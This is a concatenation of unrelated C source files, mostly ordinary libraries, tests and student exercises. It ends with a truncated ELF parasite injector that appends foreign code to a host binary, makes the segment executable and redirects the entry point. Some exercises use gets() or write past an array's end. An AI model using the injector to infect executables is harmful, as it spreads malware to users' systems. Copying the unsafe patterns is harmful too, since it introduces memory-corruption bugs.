extern int nnazini_(int*h1,int*h2,int*h3,int*h4,double *v); extern void azdifferentialcs_(double *result,double * costh); double vcsnngz(double v) { int h1[4]={1,1,1,1}; int h2[4]={1,1,-1,-1}; double vcs1,vcs2; double res[2]; double coss=0; int ok=nnazini_(h1,h1+1,h1+2,h1+3,&v); if(!ok) return 0.; gzdifferentialcs_(res,&coss); vcs1=res[1]; nnazini_(h2,h2+1,h2+2,h2+3,&v); gzdifferentialcs_(res,&coss); vcs1+=res[1]; /* vcs1*=v; */ return vcs1; } double vcsnngz_(double *v){ return vcsnngz(*v);}
the_stack_data/215768855.c
#ifdef STM32F1xx #include "stm32f1xx_ll_usb.c" #endif #ifdef STM32F2xx #include "stm32f2xx_ll_usb.c" #endif #ifdef STM32F4xx #include "stm32f4xx_ll_usb.c" #endif #ifdef STM32F7xx #include "stm32f7xx_ll_usb.c" #endif #ifdef STM32H7xx #include "stm32h7xx_ll_usb.c" #endif #ifdef STM32L0xx #include "stm32l0xx_ll_usb.c" #endif #ifdef STM32L4xx #include "stm32l4xx_ll_usb.c" #endif
the_stack_data/138151.c
/* $XConsortium: SetTxtProp.c,v 1.6 94/04/17 20:21:07 gildea Exp $ */ /*********************************************************** Copyright 1988 by Wyse Technology, Inc., San Jose, Ca. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of Wyse not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. WYSE DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ******************************************************************/ /* Copyright (c) 1988 X Consortium Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium. */ #include <X11/Xlibint.h> #include <X11/Xatom.h> #include <X11/Xutil.h> #include <X11/Xos.h> #include <stdio.h> void XSetTextProperty (dpy, w, tp, property) Display *dpy; Window w; Atom property; XTextProperty *tp; { XChangeProperty (dpy, w, property, tp->encoding, tp->format, PropModeReplace, tp->value, tp->nitems); } void XSetWMName (dpy, w, tp) Display *dpy; Window w; XTextProperty *tp; { XSetTextProperty (dpy, w, tp, XA_WM_NAME); } void XSetWMIconName (dpy, w, tp) Display *dpy; Window w; XTextProperty *tp; { XSetTextProperty (dpy, w, tp, XA_WM_ICON_NAME); } void XSetWMClientMachine (dpy, w, tp) Display *dpy; Window w; XTextProperty *tp; { XSetTextProperty (dpy, w, tp, XA_WM_CLIENT_MACHINE); }
the_stack_data/190768441.c
/* * Copyright (C) 2017 Michel Rottleuthner <[email protected]> * * This file is subject to the terms and conditions of the GNU Lesser * General Public License v2.1. See the file LICENSE in the top level * directory for more details. */ /** * @ingroup sys_auto_init * @{ * * @file * @brief Auto initialization for sd-cards connected over spi * * @author Michel Rottleuthner <[email protected]> */ #ifdef MODULE_SDCARD_SPI #include "log.h" #include "sdcard_spi.h" #include "sdcard_spi_params.h" #define ENABLE_DEBUG (0) #include "debug.h" /** * @brief number of used sd cards * @{ */ #define SDCARD_SPI_NUM (sizeof(sdcard_spi_params) / sizeof(sdcard_spi_params[0])) /** @} */ /** * @brief Allocate memory for the device descriptors * @{ */ sdcard_spi_t sdcard_spi_devs[SDCARD_SPI_NUM]; /** @} */ void auto_init_sdcard_spi(void) { for (unsigned i = 0; i < SDCARD_SPI_NUM; i++) { LOG_DEBUG("[auto_init_storage] initializing sdcard_spi #%u\n", i); if (sdcard_spi_init(&sdcard_spi_devs[i], &sdcard_spi_params[i]) != SDCARD_SPI_OK) { LOG_ERROR("[auto_init_storage] error initializing sdcard_spi #%u\n", i); } } } #else typedef int dont_be_pedantic; #endif /* MODULE_SDCARD_SPI */ /** @} */
the_stack_data/488002.c
struct test { int a; int b[3]; char c; }; int func(struct test t) { int sum = 0; sum += t.a; sum += t.b[0]; sum += t.b[1]; sum += t.b[2]; sum += t.c; t.a = 0; t.b[0] = 0; t.b[1] = 0; t.b[2] = 0; t.c = 0; return sum; } int main() { struct test t = { 1, { 4, 8, 16 }, 2 }; int ret = func(t) + func(t); return ret + t.a + t.b[0] + t.b[1] + t.b[2] + t.c; }
the_stack_data/126395.c
#include<stdio.h> /* void jugar(int n){ n = (n+3)*2-1; printf("%d\n",n); } int main (){ int x=10; jugar(x); printf("%d\n",x); return 0; } ver que al ejecutar este programa, el valor de x al ejecutar la funcion jugar(x) es de 25, lo que se imprime en pantalla seguido se imprime el valor original de x = 10 Esto se debe a que jugar(x) trabaja con una copia de x, el original no se le entrega x lo que en main el valor de x sigue siendo 10 incluso despues de ejecutar jugar(x) */ void jugar(int* n){ int y = *n; //al poner un * a la izq de un punt se recupera el valor guardado en esa direcc y = (y+2)/2+2-(3*y); *n = y; } int main (){ int x=10; jugar(&x); printf("%d\n",x); return 0; }
the_stack_data/148578742.c
#include<stdio.h> #include <string.h> #define TAMANHO 100 int main() { char string[TAMANHO]; printf("Digite uma frase: \n"); fgets(string, TAMANHO, stdin); char words[TAMANHO][TAMANHO], menor[TAMANHO], maior[TAMANHO]; int i = 0, j = 0, k, comprimento; // Divide a string em palavras de modo que cada linha de palavras da matriz represente uma palavra for(k=0; string[k]!='\0'; k++){ if(string[k] != ' ' && string[k] != '\0'){ // O i é a linha e j a coluna de palavras na matriz words[i][j++] = string[k]; } else{ words[i][j] = '\0'; i++; j = 0; } } // Armazena a contagem de linhas em tamanho variável comprimento = i + 1; // Inicializa menor e grande com a primeira palavra na string strcpy(menor, words[0]); strcpy(maior, words[0]); // Determina a menor e a maior palavra na string for(k = 0; k < comprimento; k++){ // Se o tamanho de menor for maior que qualquer palavra presente na string // Armazena o valor da palavra em menor if(strlen(menor) > strlen(words[k])){ strcpy(menor, words[k]); } // Se tamanho maior for menor que qualquer palavra presente na string // Armazena o valor da palavra na string maior if(strlen(maior) < strlen(words[k])) strcpy(maior, words[k]); } //Pega o tamnaho das strings menor e maior e armazena em variaveis int maior_tamanho = strlen(maior); int menor_tamanho = strlen(menor); //Retorna as variáveis na tela printf("Menor palavra: %s \n", menor); printf("Menor palavra: %s \n", menor_tamanho); printf("Maior Palavra: %d \n", maior); printf("Maior comprimento: %d \n", maior_tamanho); return 0; }
the_stack_data/145453130.c
// Write a C program to get the absolute difference between n and 51. // If n is greater than 51 return triple the absolute difference. #include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char* choice = (char*) malloc(10 * sizeof(char)); int n,val; printf("Please enter a Number: "); scanf("%d", &n); printf("Number entered is : %d\n", n); if (n>51){ val=(abs(n-51))*3; } else { val=(abs(n-51)); } printf("result: %d\n",val); return val; }
the_stack_data/211080930.c
#include "stdio.h" #ifdef Variability3 int var3 = 110; #endif #ifdef Variability3 || Variability2 int var32 = 32; #endif #ifdef Variability3 && Variability2 int var3and2 = 32; #endif #ifdef Variability3 int AnotherMain(){ var3 = 256; print("this is a new vp\n"); if(var3 != 110){ printf("Woah, something changed\n"); } } #endif
the_stack_data/100140395.c
/* { dg-do compile } */ /* { dg-options "-fno-sanitize=address -fsanitize=kernel-address -fdump-tree-sanopt" } */ /* { dg-skip-if "" { *-*-* } { "*" } { "-O0" } } */ void foo(int index, int len) { char str[len]; str[index] = '1'; // BOOM } /* { dg-final { scan-tree-dump-not "__builtin___asan_alloca_poison" "sanopt" } } */ /* { dg-final { scan-tree-dump-not "__builtin___asan_allocas_unpoison" "sanopt" } } */
the_stack_data/126703883.c
/* Miscellaneous simulator utilities. Copyright (C) 1997, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc. Contributed by Cygnus Support. This file is part of GDB, the GNU debugger. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> void gen_struct (void) { printf ("\n"); printf ("typedef struct _test_tuples {\n"); printf (" int line;\n"); printf (" int row;\n"); printf (" int col;\n"); printf (" long long val;\n"); printf (" long long check;\n"); printf ("} test_tuples;\n"); printf ("\n"); printf ("typedef struct _test_spec {\n"); printf (" const char *file;\n"); printf (" const char *macro;\n"); printf (" int nr_rows;\n"); printf (" int nr_cols;\n"); printf (" test_tuples *tuples;\n"); printf ("} test_spec;\n"); } void gen_bit (int bitsize, int msb, const char *macro, int nr_bits) { int i; printf ("\n/* Test the %s macro */\n", macro); printf ("test_tuples %s_tuples[%d] = {\n", macro, nr_bits); for (i = 0; i < nr_bits; i++) { /* compute what we think the value is */ unsigned long long bit = 1; if (msb == 0) bit <<= nr_bits - i - 1; else bit <<= i; if (bitsize == 32) bit = (unsigned) bit; /* truncate it! */ /* write it out */ printf (" { __LINE__, "); printf ("%d, %2d, ", -1, i); printf ("%s (%2d), ", macro, i); printf ("UNSIGNED64 (0x%08lx%08lx), ", (long) (bit >> 32), (long) bit); printf ("},\n"); } printf ("};\n"); printf ("\n"); printf ("test_spec %s_test = { __FILE__, \"%s\", 1, %d, %s_tuples, };\n", macro, macro, nr_bits, macro); printf ("\n"); } void gen_enum (const char *macro, int nr_bits) { int i; printf ("\n/* Test the %s macro in an enum */\n", macro); printf ("enum enum_%s {\n", macro); for (i = 0; i < nr_bits; i++) { printf (" elem_%s_%d = %s (%d),\n", macro, i, macro, i); } printf ("};\n"); printf ("\n"); } void gen_mask (int bitsize, const char *msb, const char *macro, int nr_bits) { int l; int h; printf ("\n/* Test the %s%s macro */\n", msb, macro); printf ("test_tuples %s_tuples[%d][%d] = {\n", macro, nr_bits, nr_bits); for (l = 0; l < nr_bits; l++) { printf (" {\n"); for (h = 0; h < nr_bits; h++) { printf (" { __LINE__, "); if ((strcmp (msb, "MS") == 0 && l <= h) || (strcmp (msb, "MS") != 0 && l >= h) || (strcmp (macro, "") == 0)) { /* compute the mask */ unsigned long long mask = 0; int b; for (b = 0; b < nr_bits; b++) { unsigned long long bit = 1; if (strcmp (msb, "MS") == 0) { if ((l <= b && b <= h) || (h < l && (b <= h || b >= l))) bit <<= (nr_bits - b - 1); else bit = 0; } else { if ((l >= b && b >= h) || (h > l && (b >= h || b <= l))) bit <<= b; else bit = 0; } mask |= bit; } if (bitsize == 32) mask = (unsigned long) mask; printf ("%d, %d, ", l, h); printf ("%s%s (%2d, %2d), ", msb, macro, l, h); printf ("UNSIGNED64 (0x%08lx%08lx), ", (long) (mask >> 32), (long) mask); } else printf ("-1, -1, "); printf ("},\n"); } printf (" },\n"); } printf ("};\n"); printf ("\n"); printf ("test_spec %s_test = { __FILE__, \"%s%s\", %d, %d, &%s_tuples[0][0], };\n", macro, msb, macro, nr_bits, nr_bits, macro); printf ("\n"); } void usage (int reason) { fprintf (stderr, "Usage:\n"); fprintf (stderr, " bits-gen <nr-bits> <msb> <byte-order>\n"); fprintf (stderr, "Generate a test case for the simulator bit manipulation code\n"); fprintf (stderr, " <nr-bits> = { 32 | 64 }\n"); fprintf (stderr, " <msb> = { 0 | { 31 | 63 } }\n"); fprintf (stderr, " <byte-order> = { big | little }\n"); switch (reason) { case 1: fprintf (stderr, "Wrong number of arguments\n"); break; case 2: fprintf (stderr, "Invalid <nr-bits> argument\n"); break; case 3: fprintf (stderr, "Invalid <msb> argument\n"); break; case 4: fprintf (stderr, "Invalid <byte-order> argument\n"); break; default: } exit (1); } int main (argc, argv) int argc; char **argv; { int bitsize; int msb; char *ms; int big_endian; if (argc != 4) usage (1); if (strcmp (argv [1], "32") == 0) bitsize = 32; else if (strcmp (argv [1], "64") == 0) bitsize = 64; else usage (2); if (strcmp (argv [2], "0") == 0) msb = 0; else if (strcmp (argv [2], "31") == 0 && bitsize == 32) msb = 31; else if (strcmp (argv [2], "63") == 0 && bitsize == 64) msb = 63; else usage (3); if (msb == 0) ms = "MS"; else ms = "LS"; if (strcmp (argv [3], "big") == 0) big_endian = 1; else if (strcmp (argv [3], "little") == 0) big_endian = 0; else usage (4); printf ("#define WITH_TARGET_WORD_BITSIZE %d\n", bitsize); printf ("#define WITH_TARGET_WORD_MSB %d\n", msb); printf ("#define WITH_HOST_WORD_BITSIZE %d\n", sizeof (int) * 8); printf ("#define WITH_TARGET_BYTE_ORDER %s\n", big_endian ? "BIG_ENDIAN" : "LITTLE_ENDIAN"); printf ("\n"); printf ("#define SIM_BITS_INLINE (ALL_H_INLINE)\n"); printf ("\n"); printf ("#define ASSERT(X) do { if (!(X)) abort(); } while (0)\n"); printf ("\n"); printf ("#include \"sim-basics.h\"\n"); gen_struct (); printf ("#define DO_BIT_TESTS\n"); gen_bit ( 4, msb, "BIT4", 4); gen_bit ( 5, msb, "BIT5", 5); gen_bit ( 8, msb, "BIT8", 8); gen_bit (10, msb, "BIT10", 10); gen_bit (16, msb, "BIT16", 16); gen_bit (32, msb, "BIT32", 32); gen_bit (64, msb, "BIT64", 64); gen_bit (bitsize, msb, "BIT", 64); gen_bit ( 8, 8 - 1, "LSBIT8", 8); gen_bit (16, 16 - 1, "LSBIT16", 16); gen_bit (32, 32 - 1, "LSBIT32", 32); gen_bit (64, 64 - 1, "LSBIT64", 64); gen_bit (bitsize, bitsize - 1, "LSBIT", 64); gen_bit ( 8, 0, "MSBIT8", 8); gen_bit (16, 0, "MSBIT16", 16); gen_bit (32, 0, "MSBIT32", 32); gen_bit (64, 0, "MSBIT64", 64); gen_bit (bitsize, 0, "MSBIT", 64); printf ("test_spec *(bit_tests[]) = {\n"); printf (" &BIT4_test,\n"); printf (" &BIT5_test,\n"); printf (" &BIT8_test,\n"); printf (" &BIT10_test,\n"); printf (" &BIT16_test,\n"); printf (" &BIT32_test,\n"); printf (" &BIT64_test,\n"); printf (" &BIT_test,\n"); printf (" &LSBIT8_test,\n"); printf (" &LSBIT16_test,\n"); printf (" &LSBIT32_test,\n"); printf (" &LSBIT64_test,\n"); printf (" &LSBIT_test,\n"); printf (" &MSBIT8_test,\n"); printf (" &MSBIT16_test,\n"); printf (" &MSBIT32_test,\n"); printf (" &MSBIT64_test,\n"); printf (" &MSBIT_test,\n"); printf (" 0,\n"); printf ("};\n\n"); gen_enum ("BIT", 64); gen_enum ("LSBIT", 64); gen_enum ("MSBIT", 64); gen_enum ("BIT32", 32); gen_enum ("LSBIT32", 32); gen_enum ("MSBIT32", 32); printf ("#define DO_MASK_TESTS\n"); gen_mask ( 8, ms, "MASK8", 8); gen_mask (16, ms, "MASK16", 16); gen_mask (32, ms, "MASK32", 32); gen_mask (64, ms, "MASK64", 64); gen_mask (bitsize, ms, "MASK", 64); printf ("test_spec *(mask_tests[]) = {\n"); printf (" &MASK8_test,\n"); printf (" &MASK16_test,\n"); printf (" &MASK32_test,\n"); printf (" &MASK64_test,\n"); printf (" &MASK_test,\n"); printf (" 0,\n"); printf ("};\n\n"); return 0; }
the_stack_data/187643941.c
#include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> //#define DEBUG 1 #define BUFFER_MAX 50 #define BUFFER_ENTITY_MAX 50 enum { NORMAL, TAG_NAME, TAG_ATTR, } mode = NORMAL; /* was last printed character \n? */ bool lastwasnl = true; void emit(char c) { #ifdef DEBUG fprintf(stderr, "emit: %c\n", c); #endif putchar(c); lastwasnl = (c == '\n'); } void emit_nl() { #ifdef DEBUG fprintf(stderr, "emit: newline\n"); #endif putchar('\n'); lastwasnl = true; } bool read_entity(bool inbody) { #ifdef DEBUG fprintf(stderr, "read_entity(%s);\n", inbody ? "true" : "false"); #endif char buffer[BUFFER_ENTITY_MAX]; int ptr = 0; int c; while ((c = getchar()) != EOF) { switch (c) { case '\t': case '\n': case '\v': case '\f': case '\r': case ' ': case ';': if (ptr >= BUFFER_ENTITY_MAX) return false; buffer[ptr] = 0; #ifdef DEBUG fprintf(stderr, "&%s;\n", buffer); #endif if (inbody) { if (buffer[0] == 0) { return false; } else if (!strcmp(buffer, "amp")) { emit('&'); } else if (!strcmp(buffer, "apos")) { emit('\''); } else if (!strcmp(buffer, "gt")) { emit('>'); } else if (!strcmp(buffer, "lt")) { emit('<'); } else if (!strcmp(buffer, "nbsp")) { emit(' '); } else if (!strcmp(buffer, "quot")) { emit('"'); } else if (buffer[0] == '#') { if (buffer[1] == 0) { return false; } else if (buffer[1] == 'x') { /* TODO &#x123; */ } else { emit(atoi(&buffer[1])); } } else { /* TODO more */ } } mode = NORMAL; return true; default: if (ptr >= BUFFER_ENTITY_MAX) return false; buffer[ptr++] = c; } } return false; } bool read_comment() { #ifdef DEBUG fprintf(stderr, "read_comment();\n"); #endif int c; while ((c = getchar()) != EOF) { if (c == '-') { if (getchar() == '-') { if (getchar() == '>') { mode = NORMAL; return true; } } } } return false; } /* usage: wget -qO- 'http://www.ursbjoernschmidt.de/' | html | more */ int main(int argc, char **argv) { int c; int lastc = 0; char buffer[BUFFER_MAX]; int ptr = 0; /* are we inside <body></body>? */ bool inbody = false; /* do we have to collapse whitespace? */ bool collapse = true; while ((c = getchar()) != EOF) { switch (mode) { case NORMAL: switch (c) { case '\t': case '\n': case '\v': case '\f': case '\r': case ' ': if (inbody) { if (collapse) { if (lastc != '\t' && lastc != '\n' && lastc != '\v' && lastc != '\f' && lastc != '\r' && lastc != ' ' && lastc != '>') { emit(' '); } } else { emit(c); } } break; case '&': if (!read_entity(inbody)) return EXIT_FAILURE; break; case '<': mode = TAG_NAME; break; default: if (inbody) { emit(c); } } break; case TAG_NAME: case TAG_ATTR: switch (c) { case '>': if (ptr >= BUFFER_MAX) return EXIT_FAILURE; buffer[ptr] = 0; #ifdef DEBUG fprintf(stderr, "<%s>\n", buffer); #endif if (!strcmp(buffer, "a")) { // TODO print href // printf("<%s> ", href); } else if (!strcmp(buffer, "body")) { inbody = true; } else if (!strcmp(buffer, "/body")) { inbody = false; } else if (!strcmp(buffer, "br") || !strcmp(buffer, "h1") || !strcmp(buffer, "/h1") || !strcmp(buffer, "h2") || !strcmp(buffer, "/h2") || !strcmp(buffer, "h3") || !strcmp(buffer, "/h3") || !strcmp(buffer, "h4") || !strcmp(buffer, "/h4") || !strcmp(buffer, "h5") || !strcmp(buffer, "/h5") || !strcmp(buffer, "h6") || !strcmp(buffer, "/h6") || !strcmp(buffer, "li") || !strcmp(buffer, "/li") || !strcmp(buffer, "p") || !strcmp(buffer, "/p")) { if (inbody) { if (!strcmp(buffer, "br") || (buffer[0] != '/' && !lastwasnl) || buffer[0] == '/') { emit_nl(); } } } else if (!strcmp(buffer, "code") || !strcmp(buffer, "pre")) { collapse = false; } else if (!strcmp(buffer, "/code") || !strcmp(buffer, "/pre")) { if (inbody) { emit_nl(); } collapse = true; } else if (!strcmp(buffer, "hr")) { if (inbody) { if (!lastwasnl) emit_nl(); for (int i = 0; i < 25; i++) emit('-'); emit_nl(); } } ptr = 0; mode = NORMAL; break; default: if (mode == TAG_NAME) { if (c == '!' || c == '-' || c == '.' || c == '/' || ('0' <= c && c <= '9') || c == ':' || c == '?' || ('A' <= c && c <= 'Z') || c == '_' || ('a' <= c && c <= 'z')) { if (ptr >= BUFFER_MAX) return EXIT_FAILURE; buffer[ptr++] = c; } else { buffer[ptr] = 0; if (!strcmp(buffer, "!--")) { if (!read_comment()) return EXIT_FAILURE; ptr = 0; } else { mode = TAG_ATTR; } } } } break; } lastc = c; } if (!lastwasnl) emit_nl(); return EXIT_SUCCESS; }
the_stack_data/706025.c
#include <stdio.h> int main(){ int i = -1; short int p = (unsigned short int)i; printf("p=%d\n", 65536/2); return 1; }
the_stack_data/1051031.c
#include <stdio.h> int main(int argc, char** argv) { //char buf[32]={0,}; int int_buf[32]={0,1,2,3,4,5,6,7,8,9,10,}; int int_buf2[32]={0,1,2,3,4,5,6,7,8,9,10,}; int i; if (argc > 2){ int_buf[32] = 2222; for(i=0;i<33; i++) printf("buf[%d]=%d\n",i,int_buf[i]); } else{ int_buf[32] = 1111; for(i=0;i<33; i++) printf("buf[%d]=%d\n",i,int_buf2[i]); } return 0; }
the_stack_data/37638965.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Data race on outLen due to ++ operation. Adding private (outLen) can avoid race condition. But it is wrong semantically. Data races on outLen also cause output[outLen++] to have data races. Data race pairs (we allow two pairs to preserve the original code pattern): 1. outLen@72 vs. outLen@72 2. output[]@72 vs. output[]@72 */ #include <stdlib.h> #include <stdio.h> #include <omp.h> int input[1000]; int output[1000]; int main() { int i; int inLen = 1000; int outLen = 0; #pragma omp parallel for private (i) for (i = 0; i <= inLen - 1; i += 1) { input[i] = i; } for (i = 0; i <= inLen - 1; i += 1) { output[outLen++] = input[i]; } printf("output[500]=%d\n",output[500]); return 0; }
the_stack_data/107952207.c
#include <stdio.h> #include <stdlib.h> char brett[8][8]; //1. Dimension 8 Zeilen, 2 Dimension 8 Spalten //initialisiert das Spielfeld und befüllt die Felder mit dem Buchstaben O void init(void) { for(int zeile=0;zeile<8;zeile++) { for(int spalte=0;spalte<8;spalte++) { brett[zeile][spalte]='O'; } } } //Abfrage der Zeilennummer auf die der Spieler sein Spielstein setzen möchte int zeile(void) { int z; printf("Zeile: "); scanf("%d", &z); fflush(stdin); return z; } //Abfrage der Spaltennummer auf die der Spieler sein Spielstein setzen möchte int spalte(void) { int s; printf("Spalte: "); scanf("%d", &s); fflush(stdin); return s; } //Ermittelt den Gewinnstand bzw. ob vier gleiche Spieltsteine senkrecht oder waagerecht zusammenhängend liegen int erg(int sp) { char zeichen; int reihe=0; if(sp<0) { zeichen='A'; } else { zeichen='B'; } for(int zeile=0; zeile <8;zeile++) { if(reihe<4) { reihe=0; } for(int spalte=0;spalte<8;spalte++) { if(brett[zeile][spalte]==zeichen) { reihe++; } else if(reihe<4) { reihe=0; } } for(int zeile=0; zeile <8;zeile++) { if(reihe<4) { reihe=0; } for(int spalte=0;spalte<8;spalte++) { if(brett[spalte][zeile]==zeichen) { reihe++; } else if(reihe<4) { reihe=0; } } } } return reihe; } //Ausgabe der Spielsituation void ausgabe(int i, int j, int sp) { if(sp<0) { brett[i][j]='A'; } if(sp>0) { brett[i][j]='B'; } printf("\n"); for(int zeile=0;zeile<8;zeile++) { printf("\n"); for(int spalte=0;spalte<8;spalte++) { printf(" %c", brett[zeile][spalte]); } } } int main(void) { setbuf(stdout, NULL); //Ausgabebuffer ausschalten int runde = 64; int z; int s; int spieler = 1; init(); while((runde>0) && (erg(spieler)<4)) { z=zeile(); s=spalte(); spieler*=-1; ausgabe(z, s, spieler); printf("\n"); runde--; } if(runde>0) { printf("Gewonnen!"); } else { printf("Unentschieden!"); } return EXIT_SUCCESS; }
the_stack_data/63738.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <limits.h> struct Stack { int top; unsigned capacity; char* array; }; struct Stack* createStack(unsigned capacity) { struct Stack* stack = (struct Stack*) malloc(sizeof(struct Stack)); stack->capacity = capacity; stack->top = -1; stack->array = (char*) malloc(stack->capacity * sizeof(char)); return stack; } int isFull(struct Stack* stack) { return stack->top == stack->capacity - 1; } int isEmpty(struct Stack* stack) { return stack->top == -1; } void push(struct Stack* stack, char item) { if (isFull(stack)) return; stack->array[++stack->top] = item; } char pop(struct Stack* stack) { if (isEmpty(stack)) return INT_MIN; return stack->array[stack->top--]; } void reverse(char str[]) { int n = strlen(str); struct Stack* stack = createStack(n); int i; for (i = 0; i < n; i++) push(stack, str[i]); for (i = 0; i < n; i++) str[i] = pop(stack); } int main() { char str[100]; gets(str); reverse(str); printf("Reversed string is %s", str); return 0; }
the_stack_data/50137416.c
#include <stdio.h> #include <string.h> int main() { int coelhos=0,ratos=0,sapos=0,soma,n,num, i; char animal[3]; scanf("%d", &n); for(i = 0; i < n ; i++){ scanf("%d %s", &num, animal); if(strcmp(animal,"C")== 0){ coelhos += num; } else if(strcmp(animal,"R")== 0){ ratos += num; } else if(strcmp(animal,"S")== 0){ sapos += num; } } soma = coelhos + ratos + sapos; printf("Total: %d cobaias\nTotal de coelhos: %d\nTotal de ratos: %d\nTotal de sapos: %d\n",soma,coelhos,ratos,sapos); printf("Percentual de coelhos: %.2f %\n", (float)coelhos * 100.0 / soma); printf("Percentual de ratos: %.2f %\n", (float)ratos * 100.0 / soma); printf("Percentual de sapos: %.2f %\n", (float)sapos * 100.0 / soma); return 0; }
the_stack_data/104827777.c
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <elf.h> #include <sys/types.h> #include <sys/stat.h> #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE #define EXIT_FAILURE -1 #endif int load_file (char *filename, char **mem); int main (int argc, char **argv) { int fd, i, size_h, size_p; char *host, *parasite, *evil; char jmp_entry[] = {0xe9, 0x00, 0x00, 0x00, 0x00}; Elf64_Ehdr *ehdr; Elf64_Phdr *phdr; Elf64_Shdr *shdr; Elf64_Addr o_entry; Elf64_Addr parasite_addr; Elf64_Off parasite_off; if (argc != 4) { printf ("Usage: <host> <parasite> <output>\n"); exit (EXIT_SUCCESS); } size_h = load_file (argv[1], &host); size_p = load_file (argv[2], &parasite); if ((fd = open (argv[3], O_CREAT | O_WRONLY, 0755)) < 0) { fprintf (stderr, "Open %s failed\n", argv[3]); exit (EXIT_FAILURE); } if (!(evil = (char *)malloc (size_h + size_p + sizeof (jmp_entry)))) { fprintf (stderr, "Malloc %s failed\n", argv[3]); exit (EXIT_FAILURE); } memset (evil, 0, size_h + size_p + sizeof (jmp_entry)); ehdr = (Elf64_Ehdr *)(host); phdr = (Elf64_Phdr *)(host + ehdr->e_phoff); shdr = (Elf64_Shdr *)(host + ehdr->e_shoff); // Adjust program header o_entry = ehdr->e_entry; ehdr->e_shoff += size_p + sizeof (jmp_entry); for (i = 0; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset) { parasite_off = phdr[i].p_offset + phdr[i].p_filesz; parasite_addr = phdr[i].p_vaddr + phdr[i].p_filesz; phdr[i].p_filesz += size_p + sizeof (jmp_entry); phdr[i].p_memsz += size_p + sizeof (jmp_entry); ehdr->e_entry = parasite_addr; phdr[i].p_flags |= PF_X; // This must be done in linux x64 for (i++; i < ehdr->e_phnum; i++) phdr[i].p_offset += size_p + sizeof (jmp_entry); break; } } // Adjust section header for (i = 0; i < ehdr->e_shnum; i++) if (shdr[i].sh_type == SHT_NOBITS) { for (; i < ehdr->e_shnum; i++) shdr[i].sh_offset += size_p + sizeof (jmp_entry); } // Calculate return address 